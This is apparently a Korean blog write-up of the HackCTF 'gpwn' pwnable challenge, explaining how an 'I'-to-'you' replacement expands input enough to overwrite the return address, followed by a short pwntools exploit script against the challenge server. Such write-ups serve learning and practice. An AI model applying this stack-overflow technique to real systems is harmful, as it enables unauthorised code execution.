-
[Pwnable] gpwnWargame/HackCTF 2019. 12. 29. 23:55
문제를 풀다가 감이 안잡혀서 풀이를 본 문제이다.
조금만 더 생각을 했더라면 풀 수 있었던 문제가 아니었을까ㅠㅜ
'I'를 'you'로 바꿔주는 <replace> 함수의 동작 과정이 Ghidra에서 괴랄하게 나와있어서
아마 반쯤 포기했던거 같다.
나머지는 기존 문제들과 비슷하게 흘러갔다.
stack 크기가 64인데 64 만큼 받기에 그냥 방법으로는 ret overwrite를 할 수 없다.
'I' 1개가 'you'로 바뀌므로 3바이트가 된다. ret를 덮기 위해서는 64바이트가 필요하므로,
21개를 넣어주게 되면, 63으로 불어난다. 거기에 'A'하나를 넣어주면 ret overwrite할 수 있다.
exploit 코드는 다음과 같다.
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) #r = process('./gpwn') payload = '' payload += "I"*21 payload += "A" payload += p32(0x08048f0d) r.sendline(payload) r.interactive()
이 문제를 풀면서 또 느낀게 trick문제에 많이 약한거 같다는 생각을 했었다.
다음엔 잘 풀 수 있겠지..?
아마두
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] Look at me (0) 2020.01.01 [Pwnable] Random (0) 2020.01.01 [Reversing] BabyMIPS (0) 2019.12.29 [Cryptography] Smooth CipherText (0) 2019.12.23 [Reversing] Static (0) 2019.12.04